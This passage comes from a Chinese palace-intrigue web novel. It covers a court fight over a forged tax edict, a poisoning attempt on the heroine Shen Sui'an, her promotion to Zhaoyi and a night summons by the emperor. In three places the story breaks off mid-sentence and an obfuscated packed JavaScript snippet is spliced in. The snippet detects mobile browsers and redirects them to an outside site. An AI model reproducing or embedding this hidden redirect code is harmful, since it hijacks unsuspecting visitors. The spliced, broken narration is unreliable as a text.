“这是诛九族的大罪,凌爱卿说话可要讲证据。” 凌源原来也没觉得他这个侄子有多厉害,最多是个有些任性的少年,但刚刚的那个眼神,着实让他一阵心惊。 “回陛下,臣有证据。” 凌源努力保持镇定:“陛下前些日子搬的那道给江南减税的圣旨,本是福披百姓的大善事,但沈相却让人将原本的十税一改为了五税一。” “不知沈相安的是什么居心?多出的这五成最后又会到了谁的口袋里?” “陛下,臣冤枉!” 对于沈文进的叫冤,凌源认定了他是不知所措,行事愈发大胆起来。 “陛下,臣有人证。” “宣”,帝冕掩盖住了慕春杳的神色,让人不辨喜怒。 来人是几个来自江南的难民,初上大殿时很是局促不安,不敢来回乱看,上来就行了个大礼。 “陛下,请给江南百姓一条活路吧,草民现在家里连锅都揭不开,更别提交税了。” 那几人哭的老泪纵横,好不可怜。 凌源进一步道: “陛下,这些是事发之后臣派人去江南走访带回来的人,江南自水患过后可谓是民不聊生,沈相如此做不但没有将天下百姓放在眼里,更是败坏了您的名声,现下百姓都以为是您下的五税一的令。” 被带上来的百姓此时面上浮现出恰到好处的不解和疑惑。 凌源向他们解释:“那封诏书不是陛下所下,而是被有心之人篡改,陛下原本是打算减免赋税的。” 一位百姓咬牙切齿道: “敢问大人,是谁?还请陛下为我等做主啊!” 慕春杳大怒,当即下令道: “来人,将沈氏父子缉拿,压入大牢。” 就在众人以为今日之后沈相再也翻不了身时,殿门外突然传来喧哗声,一位书生打扮的人高喊: “慢着——” 17. 破局 外面的雨还在下,书生并未打伞,就这样跪在紫宸殿外,此刻全身早已湿透。 “草民江守归求见陛下。” 慕春杳望向殿外跪着的人,复而又看向下首的沈文进,他似乎从来都是这样镇定,即便是在如今这种动辄就要脑袋的时刻,也不见丝毫慌张。 慕春杳是个合格的观戏者,戏台子都搭好了,独角戏多没意思,总要唱个有来有回才好。 他收回了刚刚的怒气,似笑非笑的看着沈相,意有所指道:“外面的人是谁放进宫的?” 沈文进道:“陛下,刚刚听过了凌大人证人的话,总要再听听老臣自辩,那算是老臣的证人。” 慕春杳冷哼一声,早不说晚不说,非要这个时候说。 “宣。” “草民江守归拜见陛下。” “尔有何冤情,还不速速上报?” 江守归浮现出奇怪的表情,似是没有想到陛下会这样问。 “冤情?” “不,没有冤情,陛下误解草民了,草民这次是带着父老乡亲们上京感谢陛下的。” “自水患以来,江南浮尸遍野,百姓民不聊生,幸遇圣主,广开言路,轻徭役,减赋税,救我等于水火之中。” 凌源脸上红一阵青一阵,咬牙道:“陛下,莫要听此人信口雌黄,定是有人故意为之。” 慕春杳没有理睬,反而问道书生:“你是怎么认识沈相的?” “草民和其余百姓上京,本还有一物要献给陛下,但苦于无缘得见天颜,有位大人告诉草民,沈相忠义,或可相助。” 沈文进适时道:“本想着今日朝散再将他引荐给陛下,但……” 沈相苦笑,不再多言。 “其余人皆在宫外等着,不知陛下可要见见?” 凌源见事情开始不受控制,他有种直觉,不能让陛下见到那些百姓:“陛下,那些人不识规矩,怕是会冲撞到了您。” 礼部尚书冷笑:“御史大人还真是双标,刚刚你的那些证人进殿时怎么不说?” “你——” 刚刚那几人早已被这架势吓成了鹌鹑,不敢多说一句。 “宣!” 慕春杳此时也好奇,这出戏会唱到什么地步? 过了一会儿,十几个百姓进殿,里面老弱妇孺皆有,无一例外的是,他们都穿戴的很整洁,脸上洋溢着满足的笑容。 这样一对比,倒显得前几人那破破烂烂的装扮太过刻意,凌源既知道他们可能冲撞到陛下,又为何不好好替他们收拾一下。 今日还未曾开口的大理寺卿突然出列: “陛下,此案疑点重重,又涉及数位朝堂重臣,不如让他们在公堂上对峙。” 此话一出,一些原本还在观望的人也纷纷出来附议。 谁知待那些百姓看清先前几人时都不约而同的露出愤怒而又嫌恶的表情。 一位大娘道:“怎么是你们?” 沈文进诧异:“这位大娘,你们认识?” 大娘冷笑:“何止是认识,这些人是我们镇上有名的霸王,仗着自己和县令有点关系,就欺男霸女,无恶不作。” 说着说着,大娘声泪俱下:“我的小女儿就是被这畜牲糟蹋的。” 真真是闻者伤心,听者落泪。 有人附和道:“还有当初朝廷发下来的赈灾粮,也是被他们尽数装进腰包。” 沈文进斜睨了凌源一眼: “陛下,若事实真是这样,那刚刚那几人的话便做不得数。” 凌源面色铁青,但并没有被沈文进带偏,他依旧记得今日的目的: “陛下,今日的重点难道不是沈相矫召一事?沈大人这是在故意混淆视听,祸水东引!” 沈文进轻嗤:“若真是五税一,那这些百姓又何苦千里迢迢上京?” 有臣子问那些百姓新颁布的税例到底是多少,答案令在场所有人震惊: 一位年轻的小伙子回道:“回大人的话,是十五税一。” “这不可能!” 凌源不信,那诏书可是他盯着亲自改的,慕春杳面色也不好看,看来不管怎样那诏书都被改过。 凌源越着急,沈文进眼底的笑意就愈发明显。 对付一个人最好的办法是什么?自然是以其人之道,还治其人之身。 谁让他不光算计沈家,女儿也在后宫欺负他孙女,那便没有存在的必要了。 慕春杳很不高兴,他可以容忍这些人斗,但不能过界,今日敢拿诏书作筏子,明日是不是就敢逼宫谋反? 即使再不愉,也没有对着这些百姓表现出来,召令已下,他不认也得任。 慕春杳的声音愈发平和,倒真像个仁慈的君主: “你们有何物要呈给朕?” 江守归意识到这是在跟自己说话,回道: “为感激陛下恩典,草民寻了百位八旬以上的高寿老人为陛下秀了这幅长寿图。” “愿陛下福禄双全,长寿安康!” 众臣听到这话,也纷纷祝道: “愿陛下福禄双全,长寿安康!” 慕春杳面色这才好看了一些,沈文进办事很是圆滑,知道怎么在最大程度的利己下让上位者开心。 “既如此,此案疑点重重,着沈相和凌御史禁足在家,无召不得出。” “另,着大理寺彻查此事,朕只给你们五天时间。” 就在慕春杳要退朝时,明言还不死心: “陛下,就算沈相的案子疑点重重,可吏部尚书任人唯亲的事已是证据确凿,还望陛下严惩。” “沈爱卿,朕给你个机会解释。” 沈平川早已跪的麻木,就等着这一句话,这份名单根本就是他故意透漏出来的。 “陛下,那份升迁名单上的确有很多人姓沈,可谁说姓沈的就必须是我沈家人,即便有关,也早已出了五服。反倒是……” “反倒是跟凌大人有关系最多,而且大多是姻亲关系,陛下一查便知。” …… 这场闹剧的最后就是,此事交由大理寺一并审理,明言也因为贪功冒进被再度被贬回苏州,这让明修媛又一次成为宫中的笑话。 贤妃和沈美人也因为家人之故各自被禁足宫中。 沈岁安倒无所谓,反正她也懒得出去,对于祖父和父亲,她有信心。 大理寺动作很快,新上任的大理寺卿做事一向雷厉风行,不到五天就将事情查个水落石出。 原来是凌源收买一个传旨的小太监,其实也不算是收买,顶多是威逼利诱。 宫里许多太监净身前都会给自己留个后,这人也不例外。 凌源正是擒住了他的家眷,同时又许以重金,这才让他甘愿铤而走险陷害沈相。 至于为什么是又从五税一变成了十五税一,据那小太监说是他看到了江南民生疾苦,同时又不想陷害忠臣,在最后关头改成了十五税一。 大理寺也对比过圣旨的前后笔记,确实出自一人之手。 原本即便事出有因,沈相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178202|180822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个矫召的名头都跑不掉,可现在,他将自己摘的干干净净,成为了整个事件中最无辜的人。 而那批升迁的人中,也的确有很多都是凌家的姻亲,皆在五服之内,他连辩解的余地都没有。 证据呈上去时,陛下大怒,当即将人压入大牢,但也仅是如此,并未做其他处置。 这进一步激发了民怨,众臣以为陛下是念及旧情不舍处置,纷纷上书陛下“大义灭亲”。 消息传到沈文进这边时,沈平川和沈云泽都不解,只有沈文进捋了捋胡子,意味不明道: “以后沈家行事再低调些,什么事做到不出错就好,不要去出那个风头。” 他看的清楚,陛下这是在用舆论压死人。 年纪轻轻,城府比他们这些老头子还深。 其余二人虽然不明白什么意思,但还是郑重的点头。 “这次的事得多亏小妹,要不是她有先见之明,咱们沈家这次就遭了大难了。” 说起沈岁安,沈云泽一脸骄傲。 “确实多亏了岁岁。”沈文进对沈岁安的夸奖毫不吝啬。 “不过亏不到她,沈家已经封无可封,这次陛下亏欠沈家的多半会补在岁岁身上,且安心等着便是。” 事情就这样被压了三天,第四日上早朝时,慕春杳才像是终于顶不住压力向朝臣妥协。 “凌氏欺君罔上,残害忠良,按律当连诛九族。” “然朕念其往日功绩,凌氏诛三族,三族之外流放三千里,秋后行刑。” 凌家毕竟是慕春杳的外家,扶持着他上位,这件事原本如何处理都会伤了一部分老臣的心。 但现在只会让人觉得是凌家得寸进尺,罔顾君恩,而慕春杳只是被逼无奈,仁至义尽。 果不其然,话落,众臣纷纷称赞: “陛下英明!” 等消息传到后宫时,贤妃还不信陛下真的会这般无情。 禁足未解,不知道哪里来的力气,她竟冲出了含象殿,跑到勤政殿外长跪不起,祈求慕春杳能见她一面。 “求陛下放父亲一命!” 一开始,慕春杳并不理睬,任由她闹,直到贤妃喊道: “他是您亲舅舅啊!” “我可是你亲妹妹!” 两道声音渐渐重合,让站在慕春杳身后的辛嬷嬷恍惚,一时之间五味陈杂。 当年,先后也是这样求凌大人的。 那时凌大人是怎么说的来着? 面对亲妹子的求助,凌源只是皱了皱眉:“瑶儿,你要为大局考虑。” 不知道现在,回旋镖打在自己身上,他可会后悔? 慕春杳终是让人放了贤妃进来。 贤妃以为是陛下念及旧情,可到了殿中,慕春杳神色恹恹,面对她的哭诉,连头都未抬一下,只继续处理手中的事,说出的话让贤妃如坠冰窖: “朕也是为了大局着想。” “祸不及出嫁女,念你一片孝心,朕今日不责你殿前失仪之过,且先回去吧。” 蓬莱殿中,宋美人正跟沈岁安分享着殿前的事。 沈岁安觉得,论八卦的程度,后宫之中,宋美人敢认第二就没人敢认第一。 她可能连膳房养的鸡下了几个蛋都知道。 对于贤妃这么快就落败一事,她是有些唏嘘,不过反过来想想,今日不是贤妃就该是她! 沈岁安决定吃口好吃的压压惊,正要往嘴中送时,眼前飘过一行大大的弹幕: 【别吃,有毒!】 18. 昭仪 沈岁安吓的勺子一抖,这让她左右为难,吃也不是,不吃也不是。 好不容易打消了弹幕的疑虑,这会儿突然停下来简直是在自投罗网。 好在这时安才人突然来了: “嫔妾今日没来晚吧!今天的午膳闻着就很香。” 安宁如今不再拘束,越来越放的开。 和她相处久了,令沈岁安震惊的是,安宁每次感谢人的方法都是直接送金条。 宋佳慧嫌她像个暴发户,没少说她,可沈岁安喜欢她这样爆金条的方式。 如果可以,她不介意安宁用金条砸死她。 宋佳慧傲娇的哼了一声:“晚了晚了,都没你的份了。” 安宁坐下,晃着她的胳膊:“姐姐,好姐姐!” 看着二人相处的方式,沈岁安嘴角不自觉的上扬,安宁现在已经基本摸清了宋佳慧的脾气,吃软不吃硬,得哄着。 沈岁安正想着怎么阻拦她们吃下这些东西。 但不得不说,女主就是女主,是有些运道在身上的,她夹菜时因为离得有些远起身,但没站稳,匆忙间不小心打碎了桌子上的盘子,而她的步摇也因动作幅度太大掉了下来。 好巧不巧,那只步摇正好是银的,遇上那些菜后立马变黑。 这下不用沈岁安再想办法,在场所有人都知道菜里有毒了。 弹幕震惊,弹幕不理解: 【这也行?(震惊)(疑惑)】 【可能这就是主角光环吧(摊手)】 【主角光环第一次如此具象化】 …… 宋佳慧被吓的脸都白了,待反应过来后,立马慌张的向沈岁安解释: “沈姐姐,不是我干的。” 沈岁安宽慰着她:“嗯,我知道。” 宋佳慧没有经历过这种事,已经被吓傻了: “那,那现在怎么办?” 沈岁安勉强维持镇静: “春花,你去请太医,秋月,你去请陛下来。” “另外,将事情闹的越大越好。” 要让幕后之人先慌起来,她们三人之中,两个是重臣之女,一家对社稷有功,一旦出了什么事,即便是陛下,可能也担待不起。 众人没有想到再次集结时还是在蓬莱殿。 “还是这蓬莱殿热闹”,柳才人这话说的阴阳怪气的,在场众人没人敢接她的话。 谁不知道如今沈家风头正盛,没人想去触沈岁安的眉头。 “妹妹没事吧?” 沈岁安摇头,其实相比于贤妃,她更忌惮德妃。 上次的事,沈岁安总感觉不对,但又想不起来是哪里不对。直到今日看到德妃,才反应过来,整件事中,太后和德妃都太安静了。 德妃知道自己不讨慕春杳喜欢,自进宫后便一直深居简出,除了去仁康宫陪陪太后外几乎哪里都不去。 沈岁安掩去眼底的情绪,此时陛下未至,贤妃禁足,在场唯一有资格过问此事的好像只有德妃一人。 “谢娘娘关心,好在嫔妾们并未食用那道菜,这才躲过一劫。” “沈美人倒是次次好运气。” 言下之意便是沈岁安有自导自演之嫌。 沈岁安看向声音传出来的地方,依旧是那位柳才人,发言大胆到让人想不注意到她都难。 终于有忍不下去的拽了拽她的袖口示意她别说了。 “谁好运气?” 殿外,男子清冽的声音传来。 “陛下万岁万岁万万岁!” “都起来吧。” 在上首的位置落下后,慕春杳又问了一遍刚刚的问题。 在场妃嫔没一个人敢,最后还是只能她自己上。 面对慕春杳时,柳才人颇有些不自在,磕磕绊绊又说了一遍刚刚的话。 谁知慕春杳并没有生气,反而看着沈岁安若有所思,半晌才赞道: “说的不错,沈岁安,沈美人,不就是要岁岁平安才好吗?” 柳才人脸上一阵羞臊,这比骂她一顿还让人难受。 岁岁平安,还真是个好寓意呢! 慕春杳见目的已经达到,这才开始正题:“今日是怎么回事?” 沈岁安又将前因后果解释了一遍。 虽然很离谱,但还是发生了。 沈岁安扶额,不经意间发现了明修媛的异常,她在抠手。 可能连明修媛自己都不知道她一紧张的时候就会抠手,这是沈岁安好几次和明修媛交手观察到的。 不过,沈岁安又觉得下毒这种手段过于低级,不像是明采薇往常的风格。 正想着,太医走了出来。 想到刚刚查出来的东西,他有些头疼,再过几个月他就能致仕了,实在不愿意掺合这些腌臜事。 “张太医可否认出这是什么毒?” “回陛下,下在沈美人饭中的并不是毒。” “什么意思,难不成还真是沈美人在自导自演?” 底下人小声议论,张太医叹了口气,接着道:“不是毒,而是几味相生相克的药材被研磨成粉,下到了菜里,这毒并不能即刻致命,但中毒者会浑身溃烂,进而开始流脓,最后不治而亡。” 众妃打了个寒颤,这毒听着实在太过恐怖,分明是要将人活活折磨死。 沈岁安也心有余悸,好吧,她收回刚刚的想法,这确实像是明采薇会干的事。 她缓了缓,问道: “那太医可知是哪几味药?” “具体有什么还请陛下再给微臣一点儿时间,不过,微臣现在可以确定的是那里面有一位苏薄荷,产自苏州。” 此话一出,明修媛顿时感到如芒在背,在场众人的视线落在了她的身上,谁不知道,明修媛的老家就在苏州,而且又与沈美人有旧仇,近来更是仇上加仇。 慕春杳轻叩着桌案,感觉蓬莱殿的桌案有些低,有机会一定要换一个高点的。 等等,他为何要给沈岁安换桌案? 抛去脑中杂念,他问道: “明修媛可有话要说?” 明采薇当然不知作何解释,只一味说自己冤枉被冤枉的。 “陛下,臣妾冤枉,臣妾也不知是怎么回事,再说这午膳明明是宋美人送过来的,为何没人怀疑是她?” “宋美人不会!” 没给其余人问话的时间,沈岁安当即打断道。 宋佳慧早就做好了被问话的准备,因为东西是她带来的,她脱不了嫌疑。 可没想到姐姐居然会这样信任她,原本没有多委屈,现在还是红了眼眶。 “陛下,不是嫔妾做的。” 慕春杳看着二人这幅姐妹情深的样子,顶了顶腮,牙有点酸。 他叫来禁卫:“去查,宫中进来有没有苏薄荷。” 禁卫的动作很快,宫中一切物件的采买,妃嫔的私库中有什么都记录的清清楚楚,这也是慕春杳一直不放宫权也不允许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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【古代版毒药盲盒?】 【虽然但是,原著里她的下场也不好,可也不是这么下线的吧!】 …… 这些文字沈岁安看的云里雾里的,但也勉强能理解字面意思。 刚刚明采薇的话也提醒了她,还在想着要不要改天去讨个小厨房什么的。 毕竟被宋美人养刁了口味的她,是真的不想再吃膳房那些千篇一律且寡淡的饭。 慕春杳给了明采薇一晚上时间考虑,同时也废了她的位份,直接贬成了庶人。 事情解决后,他看向沈岁安,那份补偿终是在今日落到了她身上。 “咨尔美人沈氏岁安,名门之后,蕙质兰心,克娴内则,淑德含章,晋封为正二品昭仪。” “令,赐封号,虞。” 一时之间,殿内落在她身上的目光有些五味陈杂,她们倒不是嫉妒沈岁安升了位份,毕竟家世在那里摆着,升上去也是迟早的事。 她们在意的是那个封号。 虞,可作顺遂无虞之意,与沈美人闺名相对。 也算是一个帝王对妃子的承诺。 见沈岁安呆在原地,慕春杳轻笑:“怎么,高兴傻了?” “臣妾谢过陛下恩典。” 沈岁安刚刚其实是在想:还真是打瞌睡就送枕头,正二品是能开小厨房的。 19. 召寝 勤政殿内,慕春杳照常在殿中批奏折,可他只是坐在那里很久,笔却悬在上空半天没有落下一个字。 半晌,慕春杳将手中御笔搁置在桌案上,猛的往后一靠,用力捏着有些疼痛的眉心。 “陛下,可是有何处不适?” “无碍。” 听出慕春杳声音里带着烦躁,苏成不再多言。 “今日可有人求见?” 慕春杳缓缓放下手,漫不经心道。 苏成不明所以,想了想还是道:“魏尚书来过一次,但当时您说不见。” “没了?” 苏成想起某一人,但不确定陛下是否愿意听见那人的名字,只得讪讪道:“还有,德妃娘娘派人给您送过一盅补汤。” 慕春杳没有什么表情,只是点点头,表示知道了,随后翻开案桌上的奏折继续看。 苏成本还等待着慕春杳的下文,但见慕春杳没有多说的意思,只得又默默退回原位。 陛下烦躁不是一天两天了,这种状态好像是封沈美人为昭仪的第二天开始的。 沈美人,昭仪? 啧,苏成乍舌,他好像知道陛下心烦的原因了。 先帝在时,一般嫔妃们得了赏赐都会想着带着东西来谢恩,更别提升位份的大事,更是恨不得整日黏在先帝身边,以示先帝对其恩宠。 而这位虞昭仪,倒是个奇女子,一连三天,这勤政殿别说人影了,就连一盘表示心意的吃食都未曾见过。 这样想着,就听上首的人问道:“蓬莱殿最近在干什么?” 苏成暗叹自己好眼力,但一想到最近的线报,心中不由得没底。 “蓬莱殿在虞昭仪升位份的第二日就先向尚食局申请了小厨房,李尚仪见并未违制当即便同意了。” 慕春杳扶额,不知想到了什么,冷笑道:“沈岁安……” 果然是,就记得吃了。 …… “民以食为天,古人诚不欺我。” 沈岁安品尝着宋佳慧新研究的菜式,不由发出感叹。 秋月在一旁看着自家娘娘如此放松的样子,心中替她着急: “娘娘,您吃到如此美味佳肴的同时,有没有想到谁呢?” “有啊”,沈岁安看向坐在一旁的宋佳慧:“当然是我那不光人美心善还厨艺精湛的宋妹妹了!” 宋佳慧嗔怪道:“姐姐莫要打趣我。” 虽说是羞红了脸,但对这一套还是很受用。 秋月表示没眼看,直接点了出来:“娘娘难道不去看看陛下?” “您前些日子刚被封了昭仪,当有所表示。” 沈岁安撇嘴:“我那天不是都感谢过了吗?” 秋月:口头上的感谢也算感谢? “您当去一趟勤政殿,哪怕是送一份吃食也是好的,毕竟,心意最重要。德妃娘娘可是隔三差五的就往那边送呢!” “我…本宫不会做吃食,倘若拿旁人做的吃食去敷衍,岂不是一不小心就会弄巧成拙?” “再说了,陛下日理万机,哪有时间想这些?” 沈岁安在这时候头脑异常清醒,这一套说辞下来,将秋月弄的哑口无言。 【有时间,他可太有时间了,他可就等着你去呢】 沈岁安眨眨眼,以为是自己看错了,复又定睛望去: 【那你还真想错了,他现在可能就缺你这一口吃的】 【他可都等了三天了!】 话到嘴边,沈岁安改了口:“不过……” 秋月一惊,觉得自己看到了希望。 “不过,本宫可以学,等我什么时候学会了再去。” 好吧,总比一直拒绝强。 “我教姐姐吧”,宋佳慧主动揽下了这庄事,眼里满是兴奋,又有借口在蓬莱殿多留些时间了。 “那再好不过了。” …… “或许,虞昭仪只是这几天有事绊住了。” 苏成还在想尽办法为沈岁安开脱。 有事?慕春杳摇头,暗道了声小骗子。 “你不会真被她给骗过去了吧?” “要朕提醒你,她这三个月都做了什么吗?” 也不需要苏成回答,慕春杳自顾自的接着往下说: “先是在逃婚即将被发现时躲过了朕的暗卫;又是在选秀中躲过了太后所有的暗算;进宫后又在发现明修媛那点子计策后将计就计,反杀回去;最关键的是她救了沈相。” 这也是慕春杳疑惑的问题,他至今都想不明白,沈岁安是怎么预料到的。 “一次两次是巧合,三次四次”,慕春杳拿着手上的御笔,向苏成脑袋的方向指了指:“就是那儿异于常人了。” “如此敏锐的预判力和判断力,朕都要自愧不如。” 苏成努力保持微笑,不再多言,真的是夸也不是,不夸也不是,也不知道是谁刚刚在翘首以盼。 慕春杳可能看出了苏成的腹诽,欲盖弥彰的补了句: “朕也只是对她有些好奇罢了。” “今天晚上,把人传过来。” 苏成一惊,道了声是便告退。 果然是男人心海底针啊! …… 沈岁安来到太和殿时,是被人从床上拽起来的。 没错,就是被春花硬拽起来的。 沈岁安今日休息的早,但也不知尚寝局的人是怎么回事,亥时才来。 尚寝局的宫女们对此表示很冤,要说源头,这还要怪陛下! 将原本的秦尚宫废了之后,慕春杳并没有点新的尚宫补上,副尚宫的官位也只是个挂名的,人并不在宫中。 这就导致连尚寝局自己人都以为尚寝局现在已经名存实亡。 这时候突然要召寝,帝王召寝工序繁多,群龙无首,她们乱忙了好一阵才收拾好,到达蓬莱殿时已近亥时。 一排宫女在沈岁安面前依次排开,手上端着的东西各不相同。 她一一看去,前面还好都是些洗漱用品,她走向最后一个人。 托盘上,是一件薄如蝉翼的寝衣。 沈岁安掐着两个指尖拈起那衣服,这穿了和没穿有什么区别? 这么想的,也这么问了出来。 谁知那宫女掩唇一笑:“历来规矩,娘娘待会儿便会知晓。” 就这样,沈岁安被迫下了太和殿的温泉。 刚下去时,沈岁安还有些抵触,她不是很习惯沐浴时有人在一旁服侍,总觉得这样“坦诚”和人相见,有些奇奇怪怪。 可那些宫女根本没有给沈岁安反抗的机会,待沈岁安下水后,一人给她理着头发,一人为她揉捏酸痛的胳膊解乏,甚至另外一个为她涂抹香膏的人还有些特殊手法。 沈岁安这会儿只觉得全身经络都被疏通,每一个毛孔都在呼吸,再说不出一句拒绝的话。 因为在温泉中泡久了,沈岁安出来时,脸上乃至身上还留有被热气熏出来的红晕。 当宫女为她穿上那件寝衣时,她才终于理解刚刚那句话。 沈岁安沉默的欣赏着镜中美人。 那寝衣并不是传统的宽松样式,而是按照沈岁安的身形而制。 她不算是传统的瘦弱美人,相反,因为她的胃口好,身材略显丰腴,但那些肉都往改长的地方长,往日看不出来,这会儿一见,胸是胸,屁股是屁股,在这两者的衬托下,腰反而显的盈盈不堪一握,下裙呈高开叉样式,一双玉腿在其中隐隐若现,真是好一副香.艳的场景。 殿中已经有脸皮薄的宫女死死低着头,连看都不敢看。 沈岁安满意的看着自己,脑中仔细回想着进宫前嬷嬷的教导,以及那本书上的内容。 说实话,沈岁安对侍寝这事儿,没多大的排斥,反正早晚都有这一遭,她进宫怕是怕了点,但又没打算守活寡。 天已入了秋,尚寝局的人怕她冷,特地给她拿了一件披风。 沈岁安在心中默默的为自己加油鼓气,可当她进了慕春杳寝宫时差点因为腿软滑跪在地上。 只见三四个小太监从内间出来,拖着两个人向外走去,温热的鲜血还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178204|180822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在不停的往下流,将用白玉石铺就的地面拖出来两道刺目的血色。 沈岁安此刻从心里感受到了寒冷,裹紧了身上的披风。 以至于慕春杳从内殿出来时就看到女子孤零零跪在殿中瑟瑟发抖的样子。 他好心想上去扶一把,谁知还未碰到时被沈岁安下意识侧身躲开。 让原本还算不错的心情瞬间笼上了一层寒霜。 “怕我?” 沈岁安低着头,努力不让自己的声线颤抖: “没…没有。” 慕春杳被气笑,一把抓住了沈岁安的下巴,迫使她抬起头。 从沈岁安的角度看,只觉得眼前的陛下白的有些病态,皮肤下的血管清晰可见,仿佛只要咬下去就会喷涌而出。 等等,她为什么想咬下去? 一定是今日受了太多刺激的缘故。 见沈岁安盯着自己脖子发呆,慕春杳又问了一遍:“你在怕朕?” 虽是问句,但语气却是肯定的。 沈岁安此刻的脑子正飞速运转,这次的话说的明显利索了很多: “没有,陛下英明神武,想来一定是那些人做了什么不可饶恕的事情惹恼了陛下。” 慕春杳不知可否,他松开了钳制住沈岁安的手,将沈岁安领到侧殿,还不忘解释: “那边脏,等会儿过去也不迟。” “想知道朕为何要杀那二人吗?” 沈岁安摇头,表示不想,因为一般话本子里反派杀人的理由都是:你知道的太多了。 “你不想,可朕偏要说。”慕春杳笑的有些恶劣。 沈岁安:“……” “陛下直说便是,臣妾想听。” “那两人是想行色诱之事。” 慕春杳说的轻描淡写,沈岁安不知到底是自己眼睛出了问题还是耳朵出了问题,要是她刚刚没看错的话,那好像是一男一女。 想到这,沈岁安看向时安然的眼神顿时奇怪起来。 “朕登基前后,还未曾召人侍寝,那些人怀疑朕是不是有什么特殊癖好,所以既送来一个美人,又送来一个妖男。” “那些人是哪些人?” “不知道。” 沈岁安:那您心可真大。 “因为没有关系,不管是谁派来的,来了多少,朕见一个杀一个,见两个杀一双。” 偏殿此时已点满烛火,火光映在慕春杳脸上,忽明忽暗的,从沈岁安的角度看,他像只索命的鬼魅。 她又隆紧了身上的衣服,慕春杳注意到沈岁安的举动,随口问道: “你很冷?” “没有。” “没有为什么还要披着披风?” 沈岁安被怼的哑口无言,想到披风下穿着的东西,原本的好气氛早就被打散,这衣服也显得不合时宜起来。 可君命不可违,她缓缓的拉下披风,露出了里面的风光。 慕春杳原本在饮茶,看到这一幕废了好大劲才憋住将茶喷出的冲动。 “你,谁让你穿成这样的?” “尚寝局的人,她们说这是侍寝的规矩,妾以为陛下知道。” 慕春杳原本苍白的脸此刻终于因沈岁安染上了血色,他让沈岁安将衣服穿上。 也不知沈岁安是哪里来的胆子,竟升起了逗弄的心思。 她故作不解的看向慕春杳:“为何?陛下可是觉得不好看?” 边说着,边走向他。 慕春杳的气息略显沉重,像是在压制着什么。 他突然伸手将沈岁安揽入怀中,一手扶在腰上,一手握住她的脖子,这姿势让沈岁安心中发毛: “你猜,朕现在是想吻你,还是杀了你?” 沈岁安感觉如今的慕春杳有些疯癫,闭眼任命般道:“杀…唔…” 话还未说完,慕春杳便提着她的脖子吻了下来,这是个不带任何技巧的吻,甚至还带着些惩罚意味,直到血腥味在二人口中弥漫开来,慕春杳还没有要停的意思。 “陛下,内殿已经收拾好了。” 20. 翻墙 苏成的声音就像那及时雨一般解了沈岁安的燃眉之急。 慕春杳缓缓松开扣在沈岁安腰间的手,理智似乎回笼,好像刚刚的事情没有发生过,若无其事道: “走吧。” 沈岁安擦过被慕春杳咬破的嘴唇,心想这人怕不是属狗的。 而一旁接收到沈岁安感激眼神的苏成也反应过来自己来的不是时候,紧紧低着头,生怕慕春杳注意到自己。 回到内殿时,大约太和殿的人早对方才的事见怪不怪,她们收拾的很利落,屋内焕然一新,重新燃上了熏香,不见一丝血腥味。 有了刚刚的经历,沈岁安以为慕春杳会接着做下去,她迟疑的躺到床上,闭眼,但慕春杳什么都没干,只是合衣躺在沈岁安身边,而后将人一把抱入怀中。 他轻声道:“睡吧。” 原本沈岁安内心还有些紧张,但慕春杳好似已经睡着了,沈岁安渐渐在他怀中放松下来,伴着慕春杳那均匀而有节奏的呼吸沉沉睡去。 初秋的夜依旧炎热,不知为何,慕春杳的身上总是很凉快,简直像一个行走的大冰块,睡梦中的沈岁安无意识的向慕春杳靠拢,试图用这样的方法降温。 慕春杳复又睁眼,低头看着怀中紧紧扒着自己的女子,奇怪的是,他对此并不厌烦,反而将人往上提了提,这对他来讲是一种新奇的感觉。 一夜无梦…… 第二天沈岁安醒时,慕春杳已经上朝去了,这是沈岁安第一次反思自己的心大,这样一个危险人物在枕边,她居然也能睡到日上三竿。 听见里面有动静,太和殿的宫女们也鱼贯而入,春花走在前面,先一步将沈岁安扶起。 “现在是什么时辰了?” “娘娘,巳时了。” 春花和沈岁安咬着耳朵,沈岁安扶额: “陛下走前没说什么吧?” “没有,陛下非但没有生气,还交代过让您好好休息,无事不得打扰。” 想到昨天晚上那对儿男女,再想到昨晚二人的相拥而眠,沈岁安涌上了一股复杂的情绪。 她将这股复杂的情绪归为可怜,想到这,沈岁安自己都觉得自己可笑,她居然会去可怜一个皇帝,还是差点把自己家抄了的皇帝,沈岁安觉得她应该先可怜可怜她自己。 沈岁安并没有在这件事上纠结太久,很快她就被另几桩事吸引过去。 一桩是贤妃似是终于想通,脱簪谢罪,祈求慕春杳允许她前往护国寺为国祈福,为父赎罪,从此常伴青灯古佛旁。 慕春杳最终答应,但将贤妃贬为了庶人,不许她再以宫妃的身份出现在人前,凌氏平静的接受了这一切,倒真有了出家人四大皆空的感觉。 另一桩事便是,大周作为万国之主,各邦皆尊大周为君父,新帝登基,当万国来朝。 近来京城不管是使馆还是客栈,都人满为患,好不热闹。听说光登记过要前来朝拜的就有三十余国。 